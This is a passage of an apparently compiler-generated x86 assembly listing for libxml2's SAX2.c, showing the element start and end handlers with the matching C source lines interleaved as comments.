PTR _last$1$[ebp], 0 mov DWORD PTR $T1[ebp], eax test esi, esi je $LN56@xmlSAX2Sta ; 2218 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2219 : xmlNodePtr ret; ; 2220 : xmlNodePtr parent; ; 2221 : xmlNsPtr last = NULL, ns; ; 2222 : const xmlChar *uri, *pref; ; 2223 : xmlChar *lname = NULL; ; 2224 : int i, j; ; 2225 : ; 2226 : if (ctx == NULL) return; ; 2227 : parent = ctxt->node; cmp DWORD PTR [esi+104], 0 mov eax, DWORD PTR [esi+52] mov DWORD PTR _parent$1$[ebp], eax ; 2228 : /* ; 2229 : * First check on validity: ; 2230 : */ ; 2231 : if (ctxt->validate && (ctxt->myDoc->extSubset == NULL) && je SHORT $LN9@xmlSAX2Sta mov eax, DWORD PTR [esi+8] cmp DWORD PTR [eax+48], 0 jne SHORT $LN9@xmlSAX2Sta mov eax, DWORD PTR [eax+44] test eax, eax je SHORT $LN10@xmlSAX2Sta cmp DWORD PTR [eax+36], 0 jne SHORT $LN9@xmlSAX2Sta cmp DWORD PTR [eax+40], 0 jne SHORT $LN9@xmlSAX2Sta cmp DWORD PTR [eax+44], 0 jne SHORT $LN9@xmlSAX2Sta cmp DWORD PTR [eax+48], 0 jne SHORT $LN9@xmlSAX2Sta $LN10@xmlSAX2Sta: ; 2232 : ((ctxt->myDoc->intSubset == NULL) || ; 2233 : ((ctxt->myDoc->intSubset->notations == NULL) && ; 2234 : (ctxt->myDoc->intSubset->elements == NULL) && ; 2235 : (ctxt->myDoc->intSubset->attributes == NULL) && ; 2236 : (ctxt->myDoc->intSubset->entities == NULL)))) { ; 2237 : xmlErrValid(ctxt, XML_DTD_NO_DTD, push 0 push 0 push OFFSET ??_C@_0CC@LPGBEFAE@Validation?5failed?3?5no?5DTD?5found@ push 522 ; 0000020aH push esi call _xmlErrValid add esp, 20 ; 00000014H ; 2238 : "Validation failed: no DTD found !", NULL, NULL); ; 2239 : ctxt->validate = 0; mov DWORD PTR [esi+104], 0 $LN9@xmlSAX2Sta: ; 2240 : } ; 2241 : ; 2242 : /* ; 2243 : * Take care of the rare case of an undefined namespace prefix ; 2244 : */ ; 2245 : if ((prefix != NULL) && (URI == NULL)) { mov eax, DWORD PTR _prefix$[ebp] mov ecx, DWORD PTR _URI$[ebp] push ebx test eax, eax je SHORT $LN72@xmlSAX2Sta test ecx, ecx jne SHORT $LN72@xmlSAX2Sta ; 2246 : if (ctxt->dictNames) { mov ebx, DWORD PTR _localname$[ebp] cmp DWORD PTR [esi+364], ecx je SHORT $LN12@xmlSAX2Sta ; 2247 : const xmlChar *fullname; ; 2248 : ; 2249 : fullname = xmlDictQLookup(ctxt->dict, prefix, localname); push ebx push eax push DWORD PTR [esi+296] call _xmlDictQLookup add esp, 12 ; 0000000cH ; 2250 : if (fullname != NULL) test eax, eax je SHORT $LN75@xmlSAX2Sta ; 2251 : localname = fullname; mov ebx, eax ; 2252 : } else { jmp SHORT $LN75@xmlSAX2Sta $LN12@xmlSAX2Sta: ; 2253 : lname = xmlBuildQName(localname, prefix, NULL, 0); push 0 push 0 push eax push ebx call _xmlBuildQName add esp, 16 ; 00000010H mov DWORD PTR $T1[ebp], eax jmp SHORT $LN13@xmlSAX2Sta $LN72@xmlSAX2Sta: ; 2240 : } ; 2241 : ; 2242 : /* ; 2243 : * Take care of the rare case of an undefined namespace prefix ; 2244 : */ ; 2245 : if ((prefix != NULL) && (URI == NULL)) { mov ebx, DWORD PTR _localname$[ebp] $LN75@xmlSAX2Sta: ; 2254 : } ; 2255 : } ; 2256 : /* ; 2257 : * allocate the node ; 2258 : */ ; 2259 : if (ctxt->freeElems != NULL) { xor eax, eax $LN13@xmlSAX2Sta: push edi mov edi, DWORD PTR [esi+372] test edi, edi je SHORT $LN15@xmlSAX2Sta ; 2260 : ret = ctxt->freeElems; ; 2261 : ctxt->freeElems = ret->next; mov eax, DWORD PTR [edi+24] ; 2262 : ctxt->freeElemsNr--; dec DWORD PTR [esi+368] ; 2263 : memset(ret, 0, sizeof(xmlNode)); push 60 ; 0000003cH push 0 push edi mov DWORD PTR [esi+372], eax call _memset ; 2264 : ret->doc = ctxt->myDoc; mov eax, DWORD PTR [esi+8] add esp, 12 ; 0000000cH mov DWORD PTR [edi+32], eax ; 2265 : ret->type = XML_ELEMENT_NODE; mov DWORD PTR [edi+4], 1 ; 2266 : ; 2267 : if (ctxt->dictNames) cmp DWORD PTR [esi+364], 0 je SHORT $LN17@xmlSAX2Sta ; 2268 : ret->name = localname; mov DWORD PTR [edi+8], ebx jmp SHORT $LN21@xmlSAX2Sta $LN17@xmlSAX2Sta: ; 2269 : else { ; 2270 : if (lname == NULL) mov eax, DWORD PTR $T1[ebp] test eax, eax jne SHORT $LN19@xmlSAX2Sta ; 2271 : ret->name = xmlStrdup(localname); push ebx call _xmlStrdup add esp, 4 $LN19@xmlSAX2Sta: ; 2272 : else ; 2273 : ret->name = lname; ; 2274 : if (ret->name == NULL) { mov DWORD PTR [edi+8], eax test eax, eax je $LN71@xmlSAX2Sta $LN21@xmlSAX2Sta: ; 2275 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElementNs"); ; 2276 : return; ; 2277 : } ; 2278 : } ; 2279 : if ((__xmlRegisterCallbacks) && (xmlRegisterNodeDefaultValue)) cmp DWORD PTR ___xmlRegisterCallbacks, 0 je SHORT $LN27@xmlSAX2Sta call ___xmlRegisterNodeDefaultValue cmp DWORD PTR [eax], 0 je SHORT $LN27@xmlSAX2Sta ; 2280 : xmlRegisterNodeDefaultValue(ret); call ___xmlRegisterNodeDefaultValue push edi mov eax, DWORD PTR [eax] call eax add esp, 4 ; 2281 : } else { jmp SHORT $LN27@xmlSAX2Sta $LN15@xmlSAX2Sta: ; 2282 : if (ctxt->dictNames) cmp DWORD PTR [esi+364], 0 mov ecx, DWORD PTR [esi+8] push 0 je SHORT $LN23@xmlSAX2Sta ; 2283 : ret = xmlNewDocNodeEatName(ctxt->myDoc, NULL, push ebx jmp SHORT $LN79@xmlSAX2Sta $LN23@xmlSAX2Sta: ; 2284 : (xmlChar *) localname, NULL); ; 2285 : else if (lname == NULL) test eax, eax jne SHORT $LN25@xmlSAX2Sta ; 2286 : ret = xmlNewDocNode(ctxt->myDoc, NULL, localname, NULL); push ebx push eax push ecx call _xmlNewDocNode jmp SHORT $LN80@xmlSAX2Sta $LN25@xmlSAX2Sta: ; 2287 : else ; 2288 : ret = xmlNewDocNodeEatName(ctxt->myDoc, NULL, push eax $LN79@xmlSAX2Sta: ; 2289 : (xmlChar *) lname, NULL); ; 2290 : if (ret == NULL) { push 0 push ecx call _xmlNewDocNodeEatName $LN80@xmlSAX2Sta: mov edi, eax add esp, 16 ; 00000010H test edi, edi je $LN71@xmlSAX2Sta $LN27@xmlSAX2Sta: ; 2291 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElementNs"); ; 2292 : return; ; 2293 : } ; 2294 : } ; 2295 : if (ctxt->linenumbers) { cmp DWORD PTR [esi+280], 0 je SHORT $LN31@xmlSAX2Sta ; 2296 : if (ctxt->input != NULL) { mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN31@xmlSAX2Sta ; 2297 : if (ctxt->input->line < 65535) mov eax, DWORD PTR [eax+28] cmp eax, 65535 ; 0000ffffH jl SHORT $LN81@xmlSAX2Sta ; 2298 : ret->line = (short) ctxt->input->line; ; 2299 : else ; 2300 : ret->line = 65535; mov eax, 65535 ; 0000ffffH $LN81@xmlSAX2Sta: ; 2301 : } ; 2302 : } ; 2303 : ; 2304 : if (parent == NULL) { mov WORD PTR [edi+56], ax $LN31@xmlSAX2Sta: cmp DWORD PTR _parent$1$[ebp], 0 jne SHORT $LN32@xmlSAX2Sta ; 2305 : xmlAddChild((xmlNodePtr) ctxt->myDoc, (xmlNodePtr) ret); push edi push DWORD PTR [esi+8] call _xmlAddChild add esp, 8 $LN32@xmlSAX2Sta: ; 2306 : } ; 2307 : /* ; 2308 : * Build the namespace list ; 2309 : */ ; 2310 : for (i = 0,j = 0;j < nb_namespaces;j++) { xor ecx, ecx cmp DWORD PTR _nb_namespaces$[ebp], ecx jle $LN3@xmlSAX2Sta npad 8 $LL4@xmlSAX2Sta: ; 2311 : pref = namespaces[i++]; mov eax, DWORD PTR _namespaces$[ebp] mov ebx, DWORD PTR [eax+ecx*4] ; 2312 : uri = namespaces[i++]; mov eax, DWORD PTR [eax+ecx*4+4] add ecx, 2 ; 2313 : ns = xmlNewNs(NULL, uri, pref); push ebx push eax push 0 mov DWORD PTR _uri$1$[ebp], eax mov DWORD PTR _i$1$[ebp], ecx call _xmlNewNs add esp, 12 ; 0000000cH ; 2314 : if (ns != NULL) { test eax, eax je SHORT $LN2@xmlSAX2Sta ; 2315 : if (last == NULL) { mov ecx, DWORD PTR _last$1$[ebp] mov DWORD PTR _last$1$[ebp], eax test ecx, ecx jne SHORT $LN35@xmlSAX2Sta ; 2316 : ret->nsDef = last = ns; mov DWORD PTR [edi+48], eax ; 2317 : } else { jmp SHORT $LN36@xmlSAX2Sta $LN35@xmlSAX2Sta: ; 2318 : last->next = ns; mov DWORD PTR [ecx], eax $LN36@xmlSAX2Sta: ; 2319 : last = ns; ; 2320 : } ; 2321 : if ((URI != NULL) && (prefix == pref)) cmp DWORD PTR _URI$[ebp], 0 mov edx, DWORD PTR _prefix$[ebp] je SHORT $LN37@xmlSAX2Sta cmp edx, ebx jne SHORT $LN37@xmlSAX2Sta ; 2322 : ret->ns = ns; mov DWORD PTR [edi+36], eax $LN37@xmlSAX2Sta: ; 2323 : } else { ; 2324 : /* ; 2325 : * any out of memory error would already have been raised ; 2326 : * but we can't be guaranteed it's the actual error due to the ; 2327 : * API, best is to skip in this case ; 2328 : */ ; 2329 : continue; ; 2330 : } ; 2331 : #ifdef LIBXML_VALID_ENABLED ; 2332 : if ((!ctxt->html) && ctxt->validate && ctxt->wellFormed && ; 2333 : ctxt->myDoc && ctxt->myDoc->intSubset) { cmp DWORD PTR [esi+32], 0 jne SHORT $LN2@xmlSAX2Sta cmp DWORD PTR [esi+104], 0 je SHORT $LN2@xmlSAX2Sta cmp DWORD PTR [esi+12], 0 je SHORT $LN2@xmlSAX2Sta mov ecx, DWORD PTR [esi+8] test ecx, ecx je SHORT $LN2@xmlSAX2Sta cmp DWORD PTR [ecx+44], 0 je SHORT $LN2@xmlSAX2Sta ; 2334 : ctxt->valid &= xmlValidateOneNamespace(&ctxt->vctxt, ctxt->myDoc, push DWORD PTR _uri$1$[ebp] push eax push edx push edi push ecx lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneNamespace add esp, 24 ; 00000018H and DWORD PTR [esi+100], eax $LN2@xmlSAX2Sta: ; 2306 : } ; 2307 : /* ; 2308 : * Build the namespace list ; 2309 : */ ; 2310 : for (i = 0,j = 0;j < nb_namespaces;j++) { sub DWORD PTR _nb_namespaces$[ebp], 1 mov ecx, DWORD PTR _i$1$[ebp] jne $LL4@xmlSAX2Sta $LN3@xmlSAX2Sta: ; 2335 : ret, prefix, ns, uri); ; 2336 : } ; 2337 : #endif /* LIBXML_VALID_ENABLED */ ; 2338 : } ; 2339 : ctxt->nodemem = -1; ; 2340 : ; 2341 : /* ; 2342 : * We are parsing a new node. ; 2343 : */ ; 2344 : if (nodePush(ctxt, ret) < 0) { push edi push esi mov DWORD PTR [esi+264], -1 call _nodePush add esp, 8 test eax, eax jns SHORT $LN39@xmlSAX2Sta ; 2345 : xmlUnlinkNode(ret); push edi call _xmlUnlinkNode ; 2346 : xmlFreeNode(ret); push edi call _xmlFreeNode ; 2380 : ; 2381 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElementNs"); add esp, 8 pop edi pop ebx pop esi ; 2445 : } ; 2446 : #endif /* LIBXML_VALID_ENABLED */ ; 2447 : } mov esp, ebp pop ebp ret 0 $LN39@xmlSAX2Sta: ; 2347 : return; ; 2348 : } ; 2349 : ; 2350 : /* ; 2351 : * Link the child element ; 2352 : */ ; 2353 : if (parent != NULL) { mov ecx, DWORD PTR _parent$1$[ebp] test ecx, ecx je SHORT $LN42@xmlSAX2Sta ; 2354 : if (parent->type == XML_ELEMENT_NODE) { cmp DWORD PTR [ecx+4], 1 push edi push ecx jne SHORT $LN41@xmlSAX2Sta ; 2355 : xmlAddChild(parent, ret); call _xmlAddChild ; 2356 : } else { jmp SHORT $LN83@xmlSAX2Sta $LN41@xmlSAX2Sta: ; 2357 : xmlAddSibling(parent, ret); call _xmlAddSibling $LN83@xmlSAX2Sta: ; 2358 : } ; 2359 : } ; 2360 : ; 2361 : /* ; 2362 : * Insert the defaulted attributes from the DTD only if requested: ; 2363 : */ ; 2364 : if ((nb_defaulted != 0) && mov ecx, DWORD PTR _parent$1$[ebp] add esp, 8 $LN42@xmlSAX2Sta: mov eax, DWORD PTR _nb_defaulted$[ebp] test eax, eax je SHORT $LN73@xmlSAX2Sta test BYTE PTR [esi+276], 4 jne SHORT $LN73@xmlSAX2Sta ; 2365 : ((ctxt->loadsubset & XML_COMPLETE_ATTRS) == 0)) ; 2366 : nb_attributes -= nb_defaulted; mov ebx, DWORD PTR _nb_attributes$[ebp] sub ebx, eax jmp SHORT $LN84@xmlSAX2Sta $LN73@xmlSAX2Sta: ; 2358 : } ; 2359 : } ; 2360 : ; 2361 : /* ; 2362 : * Insert the defaulted attributes from the DTD only if requested: ; 2363 : */ ; 2364 : if ((nb_defaulted != 0) && mov ebx, DWORD PTR _nb_attributes$[ebp] $LN84@xmlSAX2Sta: ; 2367 : ; 2368 : /* ; 2369 : * Search the namespace if it wasn't already found ; 2370 : * Note that, if prefix is NULL, this searches for the default Ns ; 2371 : */ ; 2372 : if ((URI != NULL) && (ret->ns == NULL)) { cmp DWORD PTR _URI$[ebp], 0 mov DWORD PTR _nb_attributes$1$[ebp], ebx je $LN49@xmlSAX2Sta cmp DWORD PTR [edi+36], 0 jne SHORT $LN49@xmlSAX2Sta ; 2373 : ret->ns = xmlSearchNs(ctxt->myDoc, parent, prefix); push DWORD PTR _prefix$[ebp] push ecx push DWORD PTR [esi+8] call _xmlSearchNs add esp, 12 ; 0000000cH mov DWORD PTR [edi+36], eax ; 2374 : if ((ret->ns == NULL) && (xmlStrEqual(prefix, BAD_CAST "xml"))) { test eax, eax jne SHORT $LN45@xmlSAX2Sta push OFFSET ??_C@_03PJHHNEEI@xml@ push DWORD PTR _prefix$[ebp] call _xmlStrEqual add esp, 8 test eax, eax je SHORT $LN45@xmlSAX2Sta ; 2375 : ret->ns = xmlSearchNs(ctxt->myDoc, ret, prefix); push DWORD PTR _prefix$[ebp] push edi push DWORD PTR [esi+8] call _xmlSearchNs add esp, 12 ; 0000000cH mov DWORD PTR [edi+36], eax $LN45@xmlSAX2Sta: ; 2376 : } ; 2377 : if (ret->ns == NULL) { cmp DWORD PTR [edi+36], 0 jne SHORT $LN49@xmlSAX2Sta ; 2378 : ns = xmlNewNs(ret, NULL, prefix); push DWORD PTR _prefix$[ebp] push 0 push edi call _xmlNewNs add esp, 12 ; 0000000cH ; 2379 : if (ns == NULL) { test eax, eax je $LN71@xmlSAX2Sta ; 2382 : return; ; 2383 : } ; 2384 : if (prefix != NULL) mov eax, DWORD PTR _prefix$[ebp] push 0 test eax, eax je SHORT $LN48@xmlSAX2Sta ; 2385 : xmlNsWarnMsg(ctxt, XML_NS_ERR_UNDEFINED_NAMESPACE, push eax push OFFSET ??_C@_0CD@HMPDFDML@Namespace?5prefix?5?$CFs?5was?5not?5fou@ jmp SHORT $LN85@xmlSAX2Sta $LN48@xmlSAX2Sta: ; 2386 : "Namespace prefix %s was not found\n", ; 2387 : prefix, NULL); ; 2388 : else ; 2389 : xmlNsWarnMsg(ctxt, XML_NS_ERR_UNDEFINED_NAMESPACE, push 0 push OFFSET ??_C@_0CI@JKKHNIFK@Namespace?5default?5prefix?5was?5no@ $LN85@xmlSAX2Sta: ; 2390 : "Namespace default prefix was not found\n", ; 2391 : NULL, NULL); ; 2392 : } ; 2393 : } ; 2394 : ; 2395 : /* ; 2396 : * process all the other attributes ; 2397 : */ ; 2398 : if (nb_attributes > 0) { push 201 ; 000000c9H push esi call _xmlNsWarnMsg add esp, 20 ; 00000014H $LN49@xmlSAX2Sta: test ebx, ebx jle $LN6@xmlSAX2Sta ; 2399 : for (j = 0,i = 0;i < nb_attributes;i++,j+=5) { mov edi, DWORD PTR _attributes$[ebp] add edi, 16 ; 00000010H npad 2 $LL7@xmlSAX2Sta: ; 2400 : /* ; 2401 : * Handle the rare case of an undefined atribute prefix ; 2402 : */ ; 2403 : if ((attributes[j+1] != NULL) && (attributes[j+2] == NULL)) { mov eax, DWORD PTR [edi-12] test eax, eax je SHORT $LN55@xmlSAX2Sta cmp DWORD PTR [edi-8], 0 jne SHORT $LN55@xmlSAX2Sta ; 2404 : if (ctxt->dictNames) { cmp DWORD PTR [esi+364], 0 mov ecx, DWORD PTR [edi-16] je SHORT $LN52@xmlSAX2Sta ; 2405 : const xmlChar *fullname; ; 2406 : ; 2407 : fullname = xmlDictQLookup(ctxt->dict, attributes[j+1], push ecx push eax push DWORD PTR [esi+296] call _xmlDictQLookup add esp, 12 ; 0000000cH ; 2408 : attributes[j]); ; 2409 : if (fullname != NULL) { test eax, eax je SHORT $LN55@xmlSAX2Sta ; 2410 : xmlSAX2AttributeNs(ctxt, fullname, NULL, push DWORD PTR [edi] push DWORD PTR [edi-4] push 0 push eax ; 2411 : attributes[j+3], attributes[j+4]); ; 2412 : continue; jmp SHORT $LN86@xmlSAX2Sta $LN52@xmlSAX2Sta: ; 2413 : } ; 2414 : } else { ; 2415 : lname = xmlBuildQName(attributes[j], attributes[j+1], push 0 push 0 push eax push ecx call _xmlBuildQName mov ebx, eax add esp, 16 ; 00000010H ; 2416 : NULL, 0); ; 2417 : if (lname != NULL) { test ebx, ebx je SHORT $LN74@xmlSAX2Sta ; 2418 : xmlSAX2AttributeNs(ctxt, lname, NULL, push DWORD PTR [edi] push DWORD PTR [edi-4] push 0 push ebx push esi call _xmlSAX2AttributeNs ; 2419 : attributes[j+3], attributes[j+4]); ; 2420 : xmlFree(lname); push ebx call DWORD PTR _xmlFree ; 2421 : continue; mov ebx, DWORD PTR _nb_attributes$1$[ebp] add esp, 24 ; 00000018H jmp SHORT $LN5@xmlSAX2Sta $LN74@xmlSAX2Sta: ; 2416 : NULL, 0); ; 2417 : if (lname != NULL) { mov ebx, DWORD PTR _nb_attributes$1$[ebp] $LN55@xmlSAX2Sta: ; 2422 : } ; 2423 : } ; 2424 : } ; 2425 : xmlSAX2AttributeNs(ctxt, attributes[j], attributes[j+1], push DWORD PTR [edi] push DWORD PTR [edi-4] push DWORD PTR [edi-12] push DWORD PTR [edi-16] $LN86@xmlSAX2Sta: ; 2399 : for (j = 0,i = 0;i < nb_attributes;i++,j+=5) { push esi call _xmlSAX2AttributeNs add esp, 20 ; 00000014H $LN5@xmlSAX2Sta: add edi, 20 ; 00000014H sub ebx, 1 mov DWORD PTR _nb_attributes$1$[ebp], ebx jne $LL7@xmlSAX2Sta $LN6@xmlSAX2Sta: ; 2426 : attributes[j+3], attributes[j+4]); ; 2427 : } ; 2428 : } ; 2429 : ; 2430 : #ifdef LIBXML_VALID_ENABLED ; 2431 : /* ; 2432 : * If it's the Document root, finish the DTD validation and ; 2433 : * check the document root element for validity ; 2434 : */ ; 2435 : if ((ctxt->validate) && (ctxt->vctxt.finishDtd == XML_CTXT_FINISH_DTD_0)) { cmp DWORD PTR [esi+104], 0 je SHORT $LN78@xmlSAX2Sta cmp DWORD PTR [esi+136], -1412623820 ; abcd1234H jne SHORT $LN78@xmlSAX2Sta ; 2436 : int chk; ; 2437 : ; 2438 : chk = xmlValidateDtdFinal(&ctxt->vctxt, ctxt->myDoc); push DWORD PTR [esi+8] lea edi, DWORD PTR [esi+108] push edi call _xmlValidateDtdFinal add esp, 8 ; 2439 : if (chk <= 0) test eax, eax jg SHORT $LN87@xmlSAX2Sta ; 2440 : ctxt->valid = 0; mov DWORD PTR [esi+100], 0 $LN87@xmlSAX2Sta: ; 2441 : if (chk < 0) jns SHORT $LN58@xmlSAX2Sta ; 2442 : ctxt->wellFormed = 0; mov DWORD PTR [esi+12], 0 $LN58@xmlSAX2Sta: ; 2443 : ctxt->valid &= xmlValidateRoot(&ctxt->vctxt, ctxt->myDoc); push DWORD PTR [esi+8] push edi call _xmlValidateRoot add esp, 8 ; 2444 : ctxt->vctxt.finishDtd = XML_CTXT_FINISH_DTD_1; mov DWORD PTR [esi+136], -1412623819 ; abcd1235H and DWORD PTR [esi+100], eax pop edi pop ebx pop esi ; 2445 : } ; 2446 : #endif /* LIBXML_VALID_ENABLED */ ; 2447 : } mov esp, ebp pop ebp ret 0 $LN71@xmlSAX2Sta: ; 2380 : ; 2381 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElementNs"); push OFFSET ??_C@_0BG@CNBDKEMA@xmlSAX2StartElementNs@ push esi call _xmlSAX2ErrMemory add esp, 8 $LN78@xmlSAX2Sta: pop edi pop ebx $LN56@xmlSAX2Sta: pop esi ; 2445 : } ; 2446 : #endif /* LIBXML_VALID_ENABLED */ ; 2447 : } mov esp, ebp pop ebp ret 0 _xmlSAX2StartElementNs ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2EndElement _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlSAX2EndElement PROC ; COMDAT ; 1804 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN1@xmlSAX2End ; 1805 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 1806 : xmlNodePtr cur; ; 1807 : ; 1808 : if (ctx == NULL) return; ; 1809 : cur = ctxt->node; push edi mov edi, DWORD PTR [esi+52] ; 1810 : #ifdef DEBUG_SAX ; 1811 : if (name == NULL) ; 1812 : xmlGenericError(xmlGenericErrorContext, "SAX.xmlSAX2EndElement(NULL)\n"); ; 1813 : else ; 1814 : xmlGenericError(xmlGenericErrorContext, "SAX.xmlSAX2EndElement(%s)\n", name); ; 1815 : #endif ; 1816 : ; 1817 : /* Capture end position and add node */ ; 1818 : if (cur != NULL && ctxt->record_info) { test edi, edi je SHORT $LN3@xmlSAX2End cmp DWORD PTR [esi+68], 0 je SHORT $LN3@xmlSAX2End ; 1819 : ctxt->nodeInfo->end_pos = ctxt->input->cur - ctxt->input->base; mov eax, DWORD PTR [esi+36] mov ecx, DWORD PTR [eax+16] sub ecx, DWORD PTR [eax+12] mov eax, DWORD PTR [esi+448] mov DWORD PTR [eax+12], ecx ; 1820 : ctxt->nodeInfo->end_line = ctxt->input->line; mov eax, DWORD PTR [esi+36] mov ecx, DWORD PTR [esi+448] mov eax, DWORD PTR [eax+28] mov DWORD PTR [ecx+16], eax ; 1821 : ctxt->nodeInfo->node = cur; mov eax, DWORD PTR [esi+448] mov DWORD PTR [eax], edi ; 1822 : xmlParserAddNodeInfo(ctxt, ctxt->nodeInfo); push DWORD PTR [esi+448] push esi call _xmlParserAddNodeInfo add esp, 8 $LN3@xmlSAX2End: ; 1823 : } ; 1824 : ctxt->nodemem = -1; ; 1825 : ; 1826 : #ifdef LIBXML_VALID_ENABLED ; 1827 : if (ctxt->validate && ctxt->wellFormed && ; 1828 : ctxt->myDoc && ctxt->myDoc->intSubset) cmp DWORD PTR [esi+104], 0 mov DWORD PTR [esi+264], -1 je SHORT $LN4@xmlSAX2End cmp DWORD PTR [esi+12], 0 je SHORT $LN4@xmlSAX2End mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN4@xmlSAX2End cmp DWORD PTR [eax+44], 0 je SHORT $LN4@xmlSAX2End ; 1829 : ctxt->valid &= xmlValidateOneElement(&ctxt->vctxt, ctxt->myDoc, push edi push eax lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneElement add esp, 12 ; 0000000cH and DWORD PTR [esi+100], eax $LN4@xmlSAX2End: ; 1830 : cur); ; 1831 : #endif /* LIBXML_VALID_ENABLED */ ; 1832 : ; 1833 : ; 1834 : /* ; 1835 : * end of parsing of this node. ; 1836 : */ ; 1837 : #ifdef DEBUG_SAX_TREE ; 1838 : xmlGenericError(xmlGenericErrorContext, "popping(%s)\n", cur->name); ; 1839 : #endif ; 1840 : nodePop(ctxt); push esi call _nodePop add esp, 4 pop edi $LN1@xmlSAX2End: pop esi ; 1841 : } pop ebp ret 0 _xmlSAX2EndElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2StartElement _TEXT SEGMENT _name$1$ = -8 ; size = 4 _prefix$ = -4 ; size = 4 _parent$1$ = 8 ; size = 4 _ctx$ = 8 ; size = 4 _fullname$ = 12 ; size = 4 _atts$ = 16 ; size = 4 _xmlSAX2StartElement PROC ; COMDAT ; 1593 : { push ebp mov ebp, esp sub esp, 8 mov ecx, OFFSET __A8525CDE_sax2@c push esi call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN9@xmlSAX2Sta ; 1594 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 1595 : xmlNodePtr ret; ; 1596 : xmlNodePtr parent; ; 1597 : xmlNsPtr ns; ; 1598 : xmlChar *name; ; 1599 : xmlChar *prefix; ; 1600 : const xmlChar *att; ; 1601 : const xmlChar *value; ; 1602 : int i; ; 1603 : ; 1604 : if ((ctx == NULL) || (fullname == NULL) || (ctxt->myDoc == NULL)) return; push edi mov edi, DWORD PTR _fullname$[ebp] test edi, edi je $LN64@xmlSAX2Sta mov eax, DWORD PTR [esi+8] test eax, eax je $LN64@xmlSAX2Sta ; 1605 : parent = ctxt->node; ; 1606 : #ifdef DEBUG_SAX ; 1607 : xmlGenericError(xmlGenericErrorContext, ; 1608 : "SAX.xmlSAX2StartElement(%s)\n", fullname); ; 1609 : #endif ; 1610 : ; 1611 : /* ; 1612 : * First check on validity: ; 1613 : */ ; 1614 : if (ctxt->validate && (ctxt->myDoc->extSubset == NULL) && cmp DWORD PTR [esi+104], 0 mov ecx, DWORD PTR [esi+52] mov DWORD PTR _parent$1$[ebp], ecx je SHORT $LN10@xmlSAX2Sta cmp DWORD PTR [eax+48], 0 jne SHORT $LN10@xmlSAX2Sta mov eax, DWORD PTR [eax+44] test eax, eax je SHORT $LN11@xmlSAX2Sta cmp DWORD PTR [eax+36], 0 jne SHORT $LN10@xmlSAX2Sta cmp DWORD PTR [eax+40], 0 jne SHORT $LN10@xmlSAX2Sta cmp DWORD PTR [eax+44], 0 jne SHORT $LN10@xmlSAX2Sta cmp DWORD PTR [eax+48], 0 jne SHORT $LN10@xmlSAX2Sta $LN11@xmlSAX2Sta: ; 1615 : ((ctxt->myDoc->intSubset == NULL) || ; 1616 : ((ctxt->myDoc->intSubset->notations == NULL) && ; 1617 : (ctxt->myDoc->intSubset->elements == NULL) && ; 1618 : (ctxt->myDoc->intSubset->attributes == NULL) && ; 1619 : (ctxt->myDoc->intSubset->entities == NULL)))) { ; 1620 : xmlErrValid(ctxt, XML_ERR_NO_DTD, push 0 push 0 push OFFSET ??_C@_0CC@LPGBEFAE@Validation?5failed?3?5no?5DTD?5found@ push 94 ; 0000005eH push esi call _xmlErrValid add esp, 20 ; 00000014H ; 1621 : "Validation failed: no DTD found !", NULL, NULL); ; 1622 : ctxt->validate = 0; mov DWORD PTR [esi+104], 0 $LN10@xmlSAX2Sta: ; 1623 : } ; 1624 : ; 1625 : ; 1626 : /* ; 1627 : * Split the full name into a namespace prefix and the tag name ; 1628 : */ ; 1629 : name = xmlSplitQName(ctxt, fullname, &prefix); push ebx lea eax, DWORD PTR _prefix$[ebp] push eax push edi push esi call _xmlSplitQName ; 1630 : ; 1631 : ; 1632 : /* ; 1633 : * Note : the namespace resolution is deferred until the end of the ; 1634 : * attributes parsing, since local namespace can be defined as ; 1635 : * an attribute at this level. ; 1636 : */ ; 1637 : ret = xmlNewDocNodeEatName(ctxt->myDoc, NULL, name, NULL); push 0 push eax push 0 push DWORD PTR [esi+8] mov DWORD PTR _name$1$[ebp], eax call _xmlNewDocNodeEatName mov ebx, eax add esp, 28 ; 0000001cH ; 1638 : if (ret == NULL) { test ebx, ebx jne SHORT $LN12@xmlSAX2Sta ; 1639 : if (prefix != NULL) mov eax, DWORD PTR _prefix$[ebp] test eax, eax je SHORT $LN13@xmlSAX2Sta ; 1640 : xmlFree(prefix); push eax call DWORD PTR _xmlFree add esp, 4 $LN13@xmlSAX2Sta: ; 1641 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElement"); push OFFSET ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ push esi call _xmlSAX2ErrMemory add esp, 8 pop ebx pop edi pop esi ; 1792 : ; 1793 : } mov esp, ebp pop ebp ret 0 $LN12@xmlSAX2Sta: ; 1642 : return; ; 1643 : } ; 1644 : if (ctxt->myDoc->children == NULL) { mov eax, DWORD PTR [esi+8] mov ecx, DWORD PTR [eax+12] test ecx, ecx jne SHORT $LN14@xmlSAX2Sta ; 1645 : #ifdef DEBUG_SAX_TREE ; 1646 : xmlGenericError(xmlGenericErrorContext, "Setting %s as root\n", name); ; 1647 : #endif ; 1648 : xmlAddChild((xmlNodePtr) ctxt->myDoc, (xmlNodePtr) ret); push ebx push eax call _xmlAddChild mov edi, DWORD PTR _parent$1$[ebp] add esp, 8 